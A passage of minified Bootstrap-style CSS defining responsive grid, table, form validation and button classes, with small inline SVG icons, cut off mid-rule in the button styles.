100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-md-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-md-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-md-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-md-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-md-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-md-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-lg-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-lg-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-lg-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-lg-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-lg-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-lg-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-xl-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-xl-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-xl-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-xl-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-xl-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-xl-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{-webkit-appearance:none;-moz-appearance:none;appearance:none}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;font-size:1rem;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc(.75em + 2.3125rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#28a745}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;left:0;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#dc3545;padding-right:calc(.75em + 2.3125rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#dc3545}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#e4606d;background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;-ms-flex-negative:0;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#212529;text-align:center;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529;text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#0069d9;border-color:#0062cc;box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{color:#fff;background-color:#5a6268;border-color:#545b62;box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(130,138,145,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#218838;border-color:#1e7e34;box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(72,180,97,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#138496;border-color:#117a8b;box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(58,176,195,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{color:#212529;background-color:#e0a800;border-color:#d39e00;box-shadow:0 0 0 .2rem 